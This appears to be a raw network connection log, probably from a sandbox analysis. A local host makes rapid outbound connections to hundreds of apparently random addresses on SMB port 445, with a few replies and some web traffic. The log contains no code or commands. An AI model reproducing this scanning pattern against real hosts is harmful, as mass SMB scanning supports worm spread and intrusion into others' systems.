Jul 21, 2022 04:35:07.497574091 CEST	51188	445	192.168.2.6	119.100.107.31
Jul 21, 2022 04:35:07.497595072 CEST	51189	445	192.168.2.6	26.241.229.73
Jul 21, 2022 04:35:07.498128891 CEST	51187	445	192.168.2.6	83.85.253.89
Jul 21, 2022 04:35:07.727632046 CEST	51191	445	192.168.2.6	86.55.115.55
Jul 21, 2022 04:35:07.867407084 CEST	51192	445	192.168.2.6	190.98.231.27
Jul 21, 2022 04:35:08.506556988 CEST	51196	445	192.168.2.6	151.15.189.206
Jul 21, 2022 04:35:08.509474993 CEST	51197	445	192.168.2.6	19.139.207.23
Jul 21, 2022 04:35:08.509733915 CEST	51198	445	192.168.2.6	137.118.224.239
Jul 21, 2022 04:35:08.594165087 CEST	51199	445	192.168.2.6	100.202.19.207
Jul 21, 2022 04:35:08.594171047 CEST	51200	445	192.168.2.6	122.0.172.85
Jul 21, 2022 04:35:08.594460011 CEST	51201	445	192.168.2.6	194.135.132.90
Jul 21, 2022 04:35:08.594595909 CEST	51202	445	192.168.2.6	190.101.31.208
Jul 21, 2022 04:35:08.594655037 CEST	51204	445	192.168.2.6	22.10.86.186
Jul 21, 2022 04:35:08.594685078 CEST	51203	445	192.168.2.6	21.130.9.15
Jul 21, 2022 04:35:08.594748020 CEST	51205	445	192.168.2.6	170.153.88.194
Jul 21, 2022 04:35:08.594760895 CEST	51206	445	192.168.2.6	123.71.52.213
Jul 21, 2022 04:35:08.594861984 CEST	51207	445	192.168.2.6	77.247.208.83
Jul 21, 2022 04:35:08.594907045 CEST	51208	445	192.168.2.6	115.118.152.99
Jul 21, 2022 04:35:08.594954014 CEST	51209	445	192.168.2.6	82.248.213.104
Jul 21, 2022 04:35:08.610522032 CEST	51211	445	192.168.2.6	77.203.93.243
Jul 21, 2022 04:35:08.611244917 CEST	51212	445	192.168.2.6	22.185.167.138
Jul 21, 2022 04:35:08.612092972 CEST	51213	445	192.168.2.6	163.46.207.65
Jul 21, 2022 04:35:08.612798929 CEST	51214	445	192.168.2.6	180.40.85.254
Jul 21, 2022 04:35:08.613466024 CEST	51215	445	192.168.2.6	183.253.134.186
Jul 21, 2022 04:35:08.614326954 CEST	51216	445	192.168.2.6	41.155.82.15
Jul 21, 2022 04:35:08.618808031 CEST	51217	445	192.168.2.6	22.140.190.46
Jul 21, 2022 04:35:08.619421959 CEST	51218	445	192.168.2.6	198.101.136.229
Jul 21, 2022 04:35:08.619854927 CEST	51220	445	192.168.2.6	193.192.55.30
Jul 21, 2022 04:35:08.619870901 CEST	51219	445	192.168.2.6	74.140.112.29
Jul 21, 2022 04:35:08.619967937 CEST	51222	445	192.168.2.6	153.230.249.232
Jul 21, 2022 04:35:08.619980097 CEST	51221	445	192.168.2.6	170.32.43.157
Jul 21, 2022 04:35:08.620069027 CEST	51223	445	192.168.2.6	195.222.216.205
Jul 21, 2022 04:35:08.620098114 CEST	51224	445	192.168.2.6	33.236.156.92
Jul 21, 2022 04:35:08.620162010 CEST	51225	445	192.168.2.6	158.161.153.150
Jul 21, 2022 04:35:08.620270014 CEST	51226	445	192.168.2.6	128.151.31.46
Jul 21, 2022 04:35:08.673639059 CEST	445	51207	77.247.208.83	192.168.2.6
Jul 21, 2022 04:35:08.840428114 CEST	51228	445	192.168.2.6	128.220.40.82
Jul 21, 2022 04:35:08.954885006 CEST	51229	445	192.168.2.6	190.98.231.28
Jul 21, 2022 04:35:09.318284035 CEST	51207	445	192.168.2.6	77.247.208.83
Jul 21, 2022 04:35:09.395695925 CEST	445	51207	77.247.208.83	192.168.2.6
Jul 21, 2022 04:35:09.620830059 CEST	51233	445	192.168.2.6	203.202.36.21
Jul 21, 2022 04:35:09.643326044 CEST	51234	445	192.168.2.6	48.53.56.52
Jul 21, 2022 04:35:09.643331051 CEST	51235	445	192.168.2.6	3.9.2.194
Jul 21, 2022 04:35:09.721293926 CEST	51236	445	192.168.2.6	16.57.6.127
Jul 21, 2022 04:35:09.722089052 CEST	51237	445	192.168.2.6	154.192.151.65
Jul 21, 2022 04:35:09.724946022 CEST	51238	445	192.168.2.6	43.71.238.250
Jul 21, 2022 04:35:09.728487968 CEST	51239	445	192.168.2.6	102.105.145.223
Jul 21, 2022 04:35:09.728609085 CEST	51240	445	192.168.2.6	220.34.178.52
Jul 21, 2022 04:35:09.728749990 CEST	51241	445	192.168.2.6	135.79.77.39
Jul 21, 2022 04:35:09.728861094 CEST	51242	445	192.168.2.6	74.15.137.59
Jul 21, 2022 04:35:09.728980064 CEST	51243	445	192.168.2.6	156.209.226.243
Jul 21, 2022 04:35:09.729260921 CEST	51244	445	192.168.2.6	161.105.12.251
Jul 21, 2022 04:35:09.729397058 CEST	51245	445	192.168.2.6	84.33.200.141
Jul 21, 2022 04:35:09.729532957 CEST	51246	445	192.168.2.6	58.163.79.221
Jul 21, 2022 04:35:09.740156889 CEST	51247	445	192.168.2.6	93.117.7.36
Jul 21, 2022 04:35:09.740895033 CEST	51248	445	192.168.2.6	180.39.59.136
Jul 21, 2022 04:35:09.741558075 CEST	51249	445	192.168.2.6	161.143.176.38
Jul 21, 2022 04:35:09.742218018 CEST	51250	445	192.168.2.6	77.184.241.204
Jul 21, 2022 04:35:09.742923975 CEST	51251	445	192.168.2.6	69.10.189.160
Jul 21, 2022 04:35:09.743613958 CEST	51252	445	192.168.2.6	48.59.121.11
Jul 21, 2022 04:35:09.745196104 CEST	445	51245	84.33.200.141	192.168.2.6
Jul 21, 2022 04:35:09.760927916 CEST	51254	445	192.168.2.6	96.118.155.115
Jul 21, 2022 04:35:09.761625051 CEST	51255	445	192.168.2.6	133.250.191.6
Jul 21, 2022 04:35:09.762278080 CEST	51256	445	192.168.2.6	206.115.186.207
Jul 21, 2022 04:35:09.762927055 CEST	51257	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:35:09.763612986 CEST	51258	445	192.168.2.6	206.224.167.117
Jul 21, 2022 04:35:09.764302015 CEST	51259	445	192.168.2.6	204.202.145.51
Jul 21, 2022 04:35:09.764961004 CEST	51260	445	192.168.2.6	89.71.71.37
Jul 21, 2022 04:35:09.765667915 CEST	51261	445	192.168.2.6	81.68.121.51
Jul 21, 2022 04:35:09.766335964 CEST	51262	445	192.168.2.6	42.119.234.101
Jul 21, 2022 04:35:09.767034054 CEST	51263	445	192.168.2.6	159.110.112.182
Jul 21, 2022 04:35:09.786148071 CEST	445	51257	207.180.242.117	192.168.2.6
Jul 21, 2022 04:35:09.796027899 CEST	51257	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:35:09.796287060 CEST	51257	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:35:09.796915054 CEST	51264	445	192.168.2.6	207.180.242.1
Jul 21, 2022 04:35:09.819281101 CEST	445	51257	207.180.242.117	192.168.2.6
Jul 21, 2022 04:35:09.819307089 CEST	445	51257	207.180.242.117	192.168.2.6
Jul 21, 2022 04:35:09.962035894 CEST	51266	445	192.168.2.6	220.111.15.12
Jul 21, 2022 04:35:10.029721975 CEST	51267	445	192.168.2.6	190.98.231.29
Jul 21, 2022 04:35:10.317936897 CEST	51245	445	192.168.2.6	84.33.200.141
Jul 21, 2022 04:35:10.335498095 CEST	445	51245	84.33.200.141	192.168.2.6
Jul 21, 2022 04:35:10.773626089 CEST	51272	445	192.168.2.6	105.131.147.83
Jul 21, 2022 04:35:10.774414062 CEST	51273	445	192.168.2.6	35.177.203.253
Jul 21, 2022 04:35:10.774826050 CEST	51274	445	192.168.2.6	93.166.169.232
Jul 21, 2022 04:35:10.838490009 CEST	51275	445	192.168.2.6	61.55.123.217
Jul 21, 2022 04:35:10.839425087 CEST	51276	445	192.168.2.6	89.148.147.229
Jul 21, 2022 04:35:10.840281010 CEST	51277	445	192.168.2.6	28.242.60.165
Jul 21, 2022 04:35:10.858901978 CEST	51278	445	192.168.2.6	16.114.70.243
Jul 21, 2022 04:35:10.859788895 CEST	51279	445	192.168.2.6	156.37.206.198
Jul 21, 2022 04:35:10.861259937 CEST	51281	445	192.168.2.6	66.86.245.190
Jul 21, 2022 04:35:10.861814976 CEST	51282	445	192.168.2.6	54.137.228.92
Jul 21, 2022 04:35:10.862350941 CEST	51283	445	192.168.2.6	209.52.20.142
Jul 21, 2022 04:35:10.862839937 CEST	51284	445	192.168.2.6	39.140.96.67
Jul 21, 2022 04:35:10.863342047 CEST	51285	445	192.168.2.6	164.106.146.153
Jul 21, 2022 04:35:10.863840103 CEST	51286	445	192.168.2.6	14.128.8.234
Jul 21, 2022 04:35:10.864626884 CEST	51287	445	192.168.2.6	116.203.170.126
Jul 21, 2022 04:35:10.865400076 CEST	51288	445	192.168.2.6	54.127.206.76
Jul 21, 2022 04:35:10.866157055 CEST	51289	445	192.168.2.6	13.179.207.214
Jul 21, 2022 04:35:10.866950989 CEST	51290	445	192.168.2.6	90.127.163.235
Jul 21, 2022 04:35:10.867695093 CEST	51291	445	192.168.2.6	40.62.241.123
Jul 21, 2022 04:35:10.868522882 CEST	51292	445	192.168.2.6	109.74.169.239
Jul 21, 2022 04:35:10.874393940 CEST	51293	445	192.168.2.6	207.180.242.2
Jul 21, 2022 04:35:10.875272989 CEST	51294	445	192.168.2.6	43.0.91.54
Jul 21, 2022 04:35:10.876068115 CEST	51295	445	192.168.2.6	188.235.169.11
Jul 21, 2022 04:35:10.876900911 CEST	51296	445	192.168.2.6	144.239.152.76
Jul 21, 2022 04:35:10.877461910 CEST	51297	445	192.168.2.6	111.30.247.207
Jul 21, 2022 04:35:10.877979040 CEST	51298	445	192.168.2.6	98.4.91.71
Jul 21, 2022 04:35:10.878542900 CEST	51299	445	192.168.2.6	68.245.88.37
Jul 21, 2022 04:35:10.879137993 CEST	51300	445	192.168.2.6	152.12.88.156
Jul 21, 2022 04:35:10.879652023 CEST	51301	445	192.168.2.6	37.111.100.196
Jul 21, 2022 04:35:10.880234957 CEST	51302	445	192.168.2.6	95.54.80.170
Jul 21, 2022 04:35:10.897505045 CEST	445	51293	207.180.242.2	192.168.2.6
Jul 21, 2022 04:35:11.115365982 CEST	51303	445	192.168.2.6	126.62.198.14
Jul 21, 2022 04:35:11.117779016 CEST	51305	445	192.168.2.6	190.98.231.30
Jul 21, 2022 04:35:11.516896963 CEST	51293	445	192.168.2.6	207.180.242.2
Jul 21, 2022 04:35:11.539876938 CEST	445	51293	207.180.242.2	192.168.2.6
Jul 21, 2022 04:35:11.886483908 CEST	51310	445	192.168.2.6	110.217.39.149
Jul 21, 2022 04:35:11.902156115 CEST	51311	445	192.168.2.6	118.70.139.111
Jul 21, 2022 04:35:11.902816057 CEST	51312	445	192.168.2.6	142.62.7.30
Jul 21, 2022 04:35:12.051009893 CEST	51313	445	192.168.2.6	207.180.242.3
Jul 21, 2022 04:35:12.052205086 CEST	51314	445	192.168.2.6	195.46.8.27
Jul 21, 2022 04:35:12.052915096 CEST	51315	445	192.168.2.6	154.104.129.163
Jul 21, 2022 04:35:12.053584099 CEST	51316	445	192.168.2.6	188.102.239.139
Jul 21, 2022 04:35:12.054255009 CEST	51317	445	192.168.2.6	132.137.53.215
Jul 21, 2022 04:35:12.054923058 CEST	51318	445	192.168.2.6	52.7.139.242
Jul 21, 2022 04:35:12.055629015 CEST	51319	445	192.168.2.6	83.231.68.11
Jul 21, 2022 04:35:12.064034939 CEST	51320	445	192.168.2.6	44.249.129.57
Jul 21, 2022 04:35:12.064073086 CEST	51321	445	192.168.2.6	181.152.71.108
Jul 21, 2022 04:35:12.064168930 CEST	51323	445	192.168.2.6	41.78.47.197
Jul 21, 2022 04:35:12.064263105 CEST	51324	445	192.168.2.6	167.110.68.225
Jul 21, 2022 04:35:12.064264059 CEST	51322	445	192.168.2.6	207.247.172.184
Jul 21, 2022 04:35:12.064275980 CEST	51325	445	192.168.2.6	19.152.42.175
Jul 21, 2022 04:35:12.064363956 CEST	51326	445	192.168.2.6	152.207.100.213
Jul 21, 2022 04:35:12.064399004 CEST	51327	445	192.168.2.6	161.174.70.192
Jul 21, 2022 04:35:12.064449072 CEST	51328	445	192.168.2.6	93.221.156.130
Jul 21, 2022 04:35:12.064508915 CEST	51330	445	192.168.2.6	97.79.129.23
Jul 21, 2022 04:35:12.064614058 CEST	51331	445	192.168.2.6	72.248.233.179
Jul 21, 2022 04:35:12.064640045 CEST	51332	445	192.168.2.6	140.145.190.208
Jul 21, 2022 04:35:12.064716101 CEST	51333	445	192.168.2.6	85.102.148.75
Jul 21, 2022 04:35:12.064727068 CEST	51334	445	192.168.2.6	205.216.32.51
Jul 21, 2022 04:35:12.064805031 CEST	51335	445	192.168.2.6	192.207.245.22
Jul 21, 2022 04:35:12.064867020 CEST	51336	445	192.168.2.6	206.99.77.130
Jul 21, 2022 04:35:12.064898014 CEST	51337	445	192.168.2.6	119.108.138.242
Jul 21, 2022 04:35:12.064944029 CEST	51338	445	192.168.2.6	159.140.230.137
Jul 21, 2022 04:35:12.065040112 CEST	51339	445	192.168.2.6	27.123.57.103
Jul 21, 2022 04:35:12.065047979 CEST	51340	445	192.168.2.6	82.80.87.83
Jul 21, 2022 04:35:12.075774908 CEST	445	51313	207.180.242.3	192.168.2.6
Jul 21, 2022 04:35:12.452465057 CEST	51341	445	192.168.2.6	190.98.231.31
Jul 21, 2022 04:35:12.454145908 CEST	51344	445	192.168.2.6	139.197.112.121
Jul 21, 2022 04:35:12.656599045 CEST	51313	445	192.168.2.6	207.180.242.3
Jul 21, 2022 04:35:12.679725885 CEST	445	51313	207.180.242.3	192.168.2.6
Jul 21, 2022 04:35:13.031233072 CEST	51349	445	192.168.2.6	19.235.119.62
Jul 21, 2022 04:35:13.045526981 CEST	51350	445	192.168.2.6	105.201.203.86
Jul 21, 2022 04:35:13.046221018 CEST	51351	445	192.168.2.6	80.250.17.245
Jul 21, 2022 04:35:13.193645954 CEST	51352	445	192.168.2.6	207.180.242.4
Jul 21, 2022 04:35:13.194329977 CEST	51353	445	192.168.2.6	32.248.153.169
Jul 21, 2022 04:35:13.195009947 CEST	51354	445	192.168.2.6	87.183.206.28
Jul 21, 2022 04:35:13.195679903 CEST	51355	445	192.168.2.6	203.140.167.50
Jul 21, 2022 04:35:13.196429014 CEST	51356	445	192.168.2.6	115.199.63.120
Jul 21, 2022 04:35:13.197118998 CEST	51357	445	192.168.2.6	74.206.164.183
Jul 21, 2022 04:35:13.197822094 CEST	51358	445	192.168.2.6	214.187.69.64
Jul 21, 2022 04:35:13.212749004 CEST	51359	445	192.168.2.6	137.221.0.95
Jul 21, 2022 04:35:13.213493109 CEST	51360	445	192.168.2.6	193.5.206.203
Jul 21, 2022 04:35:13.214183092 CEST	51361	445	192.168.2.6	26.2.173.219
Jul 21, 2022 04:35:13.214814901 CEST	51362	445	192.168.2.6	215.169.128.58
Jul 21, 2022 04:35:13.215282917 CEST	445	51352	207.180.242.4	192.168.2.6
Jul 21, 2022 04:35:13.215478897 CEST	51363	445	192.168.2.6	120.52.239.225
Jul 21, 2022 04:35:13.216140032 CEST	51364	445	192.168.2.6	118.30.139.135
Jul 21, 2022 04:35:13.216819048 CEST	51365	445	192.168.2.6	101.40.101.44
Jul 21, 2022 04:35:13.217495918 CEST	51366	445	192.168.2.6	39.221.160.206
Jul 21, 2022 04:35:13.218170881 CEST	51367	445	192.168.2.6	101.248.155.104
Jul 21, 2022 04:35:13.218898058 CEST	51368	445	192.168.2.6	42.56.107.146
Jul 21, 2022 04:35:13.219578981 CEST	51369	445	192.168.2.6	91.1.154.162
Jul 21, 2022 04:35:13.220913887 CEST	51371	445	192.168.2.6	55.88.249.68
Jul 21, 2022 04:35:13.376176119 CEST	445	51359	137.221.0.95	192.168.2.6
Jul 21, 2022 04:35:13.817615986 CEST	51352	445	192.168.2.6	207.180.242.4
Jul 21, 2022 04:35:13.840226889 CEST	445	51352	207.180.242.4	192.168.2.6
Jul 21, 2022 04:35:13.919483900 CEST	51359	445	192.168.2.6	137.221.0.95
Jul 21, 2022 04:35:13.992980003 CEST	445	51359	137.221.0.95	192.168.2.6
Jul 21, 2022 04:35:14.359173059 CEST	51374	445	192.168.2.6	112.38.4.211
Jul 21, 2022 04:35:14.359263897 CEST	51375	445	192.168.2.6	23.214.5.201
Jul 21, 2022 04:35:14.359334946 CEST	51376	445	192.168.2.6	8.127.48.186
Jul 21, 2022 04:35:14.359406948 CEST	51377	445	192.168.2.6	98.98.57.234
Jul 21, 2022 04:35:14.360307932 CEST	51378	445	192.168.2.6	198.73.15.86
Jul 21, 2022 04:35:14.360385895 CEST	51379	445	192.168.2.6	209.53.124.196
Jul 21, 2022 04:35:14.470572948 CEST	51380	445	192.168.2.6	207.180.242.5
Jul 21, 2022 04:35:14.471143007 CEST	51381	445	192.168.2.6	175.251.35.162
Jul 21, 2022 04:35:14.483405113 CEST	51383	445	192.168.2.6	22.15.152.77
Jul 21, 2022 04:35:14.483536959 CEST	51384	445	192.168.2.6	206.225.19.117
Jul 21, 2022 04:35:14.483755112 CEST	51385	445	192.168.2.6	79.182.35.78
Jul 21, 2022 04:35:14.483800888 CEST	51386	445	192.168.2.6	210.26.95.39
Jul 21, 2022 04:35:14.483810902 CEST	51387	445	192.168.2.6	117.68.166.120
Jul 21, 2022 04:35:14.483903885 CEST	51388	445	192.168.2.6	45.210.6.89
Jul 21, 2022 04:35:14.483937025 CEST	51389	445	192.168.2.6	160.192.254.27
Jul 21, 2022 04:35:14.483982086 CEST	51390	445	192.168.2.6	156.102.109.151
Jul 21, 2022 04:35:14.484018087 CEST	51391	445	192.168.2.6	185.144.93.59
Jul 21, 2022 04:35:14.484142065 CEST	51392	445	192.168.2.6	154.237.190.41
Jul 21, 2022 04:35:14.484277010 CEST	51393	445	192.168.2.6	62.45.7.5
Jul 21, 2022 04:35:14.484381914 CEST	51394	445	192.168.2.6	82.117.17.170
Jul 21, 2022 04:35:14.484483957 CEST	51395	445	192.168.2.6	130.99.162.55
Jul 21, 2022 04:35:14.484572887 CEST	51396	445	192.168.2.6	28.231.3.248
Jul 21, 2022 04:35:14.484679937 CEST	51397	445	192.168.2.6	7.94.221.209
Jul 21, 2022 04:35:14.484766960 CEST	51398	445	192.168.2.6	124.251.47.68
Jul 21, 2022 04:35:14.484891891 CEST	51400	445	192.168.2.6	157.168.36.57
Jul 21, 2022 04:35:14.484927893 CEST	51399	445	192.168.2.6	167.219.137.138
Jul 21, 2022 04:35:14.485019922 CEST	51401	445	192.168.2.6	46.180.16.184
Jul 21, 2022 04:35:14.485081911 CEST	51402	445	192.168.2.6	72.175.160.168
Jul 21, 2022 04:35:14.488012075 CEST	51407	445	192.168.2.6	190.98.231.32
Jul 21, 2022 04:35:14.488429070 CEST	51408	445	192.168.2.6	120.16.83.23
Jul 21, 2022 04:35:14.577474117 CEST	51411	445	192.168.2.6	130.170.194.43
Jul 21, 2022 04:35:16.655935049 CEST	80	49829	142.250.184.78	192.168.2.6
Jul 21, 2022 04:35:16.656109095 CEST	49829	80	192.168.2.6	142.250.184.78
Jul 21, 2022 04:35:16.775147915 CEST	51413	445	192.168.2.6	190.98.231.33
Jul 21, 2022 04:35:16.776232004 CEST	51414	445	192.168.2.6	207.180.242.6
Jul 21, 2022 04:35:16.901261091 CEST	51416	445	192.168.2.6	193.164.59.31
Jul 21, 2022 04:35:16.901290894 CEST	51415	445	192.168.2.6	114.226.137.220
Jul 21, 2022 04:35:16.901385069 CEST	51417	445	192.168.2.6	56.168.27.156
Jul 21, 2022 04:35:16.901467085 CEST	51418	445	192.168.2.6	48.87.11.119
Jul 21, 2022 04:35:16.901535034 CEST	51419	445	192.168.2.6	79.142.231.97
Jul 21, 2022 04:35:16.901582003 CEST	51420	445	192.168.2.6	17.92.89.198
Jul 21, 2022 04:35:16.901647091 CEST	51422	445	192.168.2.6	194.66.197.170
Jul 21, 2022 04:35:16.901782990 CEST	51425	445	192.168.2.6	9.31.119.191
Jul 21, 2022 04:35:16.901945114 CEST	51430	445	192.168.2.6	142.128.163.160
Jul 21, 2022 04:35:16.902028084 CEST	51431	445	192.168.2.6	136.154.98.82
Jul 21, 2022 04:35:16.902142048 CEST	51432	445	192.168.2.6	6.182.28.9
Jul 21, 2022 04:35:16.902143002 CEST	51433	445	192.168.2.6	160.223.202.24
Jul 21, 2022 04:35:16.902153015 CEST	51434	445	192.168.2.6	173.119.82.20
Jul 21, 2022 04:35:16.902252913 CEST	51435	445	192.168.2.6	71.151.38.104
Jul 21, 2022 04:35:16.902282953 CEST	51436	445	192.168.2.6	19.66.46.19
Jul 21, 2022 04:35:16.902339935 CEST	51437	445	192.168.2.6	27.0.40.222
Jul 21, 2022 04:35:16.902406931 CEST	51438	445	192.168.2.6	137.182.236.133
Jul 21, 2022 04:35:16.902466059 CEST	51439	445	192.168.2.6	149.150.142.136
Jul 21, 2022 04:35:16.902488947 CEST	51440	445	192.168.2.6	53.110.90.251
Jul 21, 2022 04:35:16.902586937 CEST	51441	445	192.168.2.6	84.12.111.139
Jul 21, 2022 04:35:16.902622938 CEST	51442	445	192.168.2.6	100.15.154.197
Jul 21, 2022 04:35:16.902683020 CEST	51443	445	192.168.2.6	11.239.157.167
Jul 21, 2022 04:35:16.902749062 CEST	51444	445	192.168.2.6	193.85.152.230
Jul 21, 2022 04:35:16.902805090 CEST	51445	445	192.168.2.6	6.105.4.140
Jul 21, 2022 04:35:16.902873993 CEST	51446	445	192.168.2.6	181.129.57.154
Jul 21, 2022 04:35:16.902875900 CEST	51447	445	192.168.2.6	160.85.20.170
Jul 21, 2022 04:35:16.902981997 CEST	51448	445	192.168.2.6	69.164.59.117
Jul 21, 2022 04:35:16.903014898 CEST	51449	445	192.168.2.6	64.40.8.176
Jul 21, 2022 04:35:16.903105021 CEST	51451	445	192.168.2.6	208.218.61.186
Jul 21, 2022 04:35:16.903155088 CEST	51452	445	192.168.2.6	56.195.29.79
Jul 21, 2022 04:35:17.023194075 CEST	445	51413	190.98.231.33	192.168.2.6
Jul 21, 2022 04:35:17.041505098 CEST	445	51449	64.40.8.176	192.168.2.6
Jul 21, 2022 04:35:17.561455965 CEST	51449	445	192.168.2.6	64.40.8.176
Jul 21, 2022 04:35:17.623975992 CEST	51413	445	192.168.2.6	190.98.231.33
Jul 21, 2022 04:35:17.700366020 CEST	445	51449	64.40.8.176	192.168.2.6
Jul 21, 2022 04:35:17.703046083 CEST	49719	80	192.168.2.6	209.197.3.8
Jul 21, 2022 04:35:17.719882011 CEST	80	49719	209.197.3.8	192.168.2.6
Jul 21, 2022 04:35:17.719970942 CEST	49719	80	192.168.2.6	209.197.3.8
Jul 21, 2022 04:35:17.843521118 CEST	51454	445	192.168.2.6	190.98.231.34
Jul 21, 2022 04:35:17.843996048 CEST	51455	445	192.168.2.6	207.180.242.7
Jul 21, 2022 04:35:17.881438971 CEST	445	51413	190.98.231.33	192.168.2.6
Jul 21, 2022 04:35:18.015250921 CEST	51456	445	192.168.2.6	67.0.21.63
Jul 21, 2022 04:35:18.015753984 CEST	51457	445	192.168.2.6	21.152.34.227
Jul 21, 2022 04:35:18.016540051 CEST	51458	445	192.168.2.6	139.174.196.206
Jul 21, 2022 04:35:18.017075062 CEST	51459	445	192.168.2.6	102.152.236.231
Jul 21, 2022 04:35:18.017585039 CEST	51460	445	192.168.2.6	220.0.129.154
Jul 21, 2022 04:35:18.018095970 CEST	51461	445	192.168.2.6	166.183.202.43
Jul 21, 2022 04:35:18.018873930 CEST	51462	445	192.168.2.6	134.89.148.4
Jul 21, 2022 04:35:18.019391060 CEST	51463	445	192.168.2.6	67.4.62.90
Jul 21, 2022 04:35:18.019926071 CEST	51464	445	192.168.2.6	7.10.239.85
Jul 21, 2022 04:35:18.020564079 CEST	51465	445	192.168.2.6	143.117.177.202
Jul 21, 2022 04:35:18.021332026 CEST	51466	445	192.168.2.6	10.205.16.240
Jul 21, 2022 04:35:18.022044897 CEST	51467	445	192.168.2.6	7.106.40.79
Jul 21, 2022 04:35:18.022742987 CEST	51468	445	192.168.2.6	171.249.86.0
Jul 21, 2022 04:35:18.023425102 CEST	51469	445	192.168.2.6	187.183.35.164
Jul 21, 2022 04:35:18.024085999 CEST	51470	445	192.168.2.6	9.12.106.163
Jul 21, 2022 04:35:18.049299955 CEST	51471	445	192.168.2.6	72.180.204.24
Jul 21, 2022 04:35:18.053042889 CEST	51472	445	192.168.2.6	129.9.111.16
Jul 21, 2022 04:35:18.053056955 CEST	51473	445	192.168.2.6	114.131.169.221
Jul 21, 2022 04:35:18.053066969 CEST	51474	445	192.168.2.6	161.39.60.23
Jul 21, 2022 04:35:18.053332090 CEST	51479	445	192.168.2.6	192.239.170.105
Jul 21, 2022 04:35:18.053606033 CEST	51482	445	192.168.2.6	197.56.227.136
Jul 21, 2022 04:35:18.053728104 CEST	51484	445	192.168.2.6	136.7.65.57
Jul 21, 2022 04:35:18.053845882 CEST	51485	445	192.168.2.6	20.15.69.236
Jul 21, 2022 04:35:18.053945065 CEST	51486	445	192.168.2.6	148.101.56.10
Jul 21, 2022 04:35:18.054049015 CEST	51487	445	192.168.2.6	173.64.195.76
Jul 21, 2022 04:35:18.054130077 CEST	51488	445	192.168.2.6	176.26.33.35
Jul 21, 2022 04:35:18.054234028 CEST	51489	445	192.168.2.6	64.188.227.163
Jul 21, 2022 04:35:18.054372072 CEST	51491	445	192.168.2.6	156.153.25.4
Jul 21, 2022 04:35:18.078500032 CEST	51492	445	192.168.2.6	189.94.11.154
Jul 21, 2022 04:35:18.078717947 CEST	51494	445	192.168.2.6	116.105.224.146
Jul 21, 2022 04:35:18.096251965 CEST	445	51454	190.98.231.34	192.168.2.6
Jul 21, 2022 04:35:18.557727098 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.557780981 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.558082104 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.587136984 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.587157965 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.684851885 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.687493086 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.699189901 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.699204922 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.745879889 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.745902061 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.752176046 CEST	51454	445	192.168.2.6	190.98.231.34
Jul 21, 2022 04:35:18.870680094 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.870754004 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.870852947 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.870899916 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.882926941 CEST	51495	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:18.882958889 CEST	443	51495	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:18.922441959 CEST	51497	445	192.168.2.6	207.180.242.8
Jul 21, 2022 04:35:18.923369884 CEST	51498	445	192.168.2.6	190.98.231.35
Jul 21, 2022 04:35:19.000453949 CEST	445	51454	190.98.231.34	192.168.2.6
Jul 21, 2022 04:35:19.140892029 CEST	51499	445	192.168.2.6	150.203.97.222
Jul 21, 2022 04:35:19.141699076 CEST	51500	445	192.168.2.6	176.22.224.63
Jul 21, 2022 04:35:19.142436028 CEST	51501	445	192.168.2.6	125.234.157.2
Jul 21, 2022 04:35:19.143177986 CEST	51502	445	192.168.2.6	99.205.135.85
Jul 21, 2022 04:35:19.143908024 CEST	51503	445	192.168.2.6	76.205.112.18
Jul 21, 2022 04:35:19.144747972 CEST	51504	445	192.168.2.6	128.148.6.113
Jul 21, 2022 04:35:19.145467997 CEST	51505	445	192.168.2.6	219.83.224.56
Jul 21, 2022 04:35:19.146158934 CEST	51506	445	192.168.2.6	192.244.41.245
Jul 21, 2022 04:35:19.146795988 CEST	51507	445	192.168.2.6	174.239.195.145
Jul 21, 2022 04:35:19.148600101 CEST	51508	445	192.168.2.6	42.88.70.96
Jul 21, 2022 04:35:19.159703970 CEST	51509	445	192.168.2.6	42.76.248.108
Jul 21, 2022 04:35:19.159944057 CEST	51510	445	192.168.2.6	78.43.19.89
Jul 21, 2022 04:35:19.160024881 CEST	51511	445	192.168.2.6	100.126.119.77
Jul 21, 2022 04:35:19.160063982 CEST	51512	445	192.168.2.6	135.73.193.106
Jul 21, 2022 04:35:19.160137892 CEST	51513	445	192.168.2.6	24.73.47.187
Jul 21, 2022 04:35:19.160412073 CEST	51514	445	192.168.2.6	135.111.155.247
Jul 21, 2022 04:35:19.193675995 CEST	51515	445	192.168.2.6	223.195.197.155
Jul 21, 2022 04:35:19.194067001 CEST	51517	445	192.168.2.6	1.62.34.189
Jul 21, 2022 04:35:19.194117069 CEST	51518	445	192.168.2.6	62.15.165.96
Jul 21, 2022 04:35:19.194168091 CEST	51519	445	192.168.2.6	36.242.150.140
Jul 21, 2022 04:35:19.194233894 CEST	51520	445	192.168.2.6	154.112.147.104
Jul 21, 2022 04:35:19.194256067 CEST	51521	445	192.168.2.6	181.145.77.18
Jul 21, 2022 04:35:19.194355011 CEST	51523	445	192.168.2.6	191.97.58.51
Jul 21, 2022 04:35:19.194391012 CEST	51524	445	192.168.2.6	22.1.159.124
Jul 21, 2022 04:35:19.194540024 CEST	51526	445	192.168.2.6	14.105.90.6
Jul 21, 2022 04:35:19.194775105 CEST	51532	445	192.168.2.6	219.14.195.109
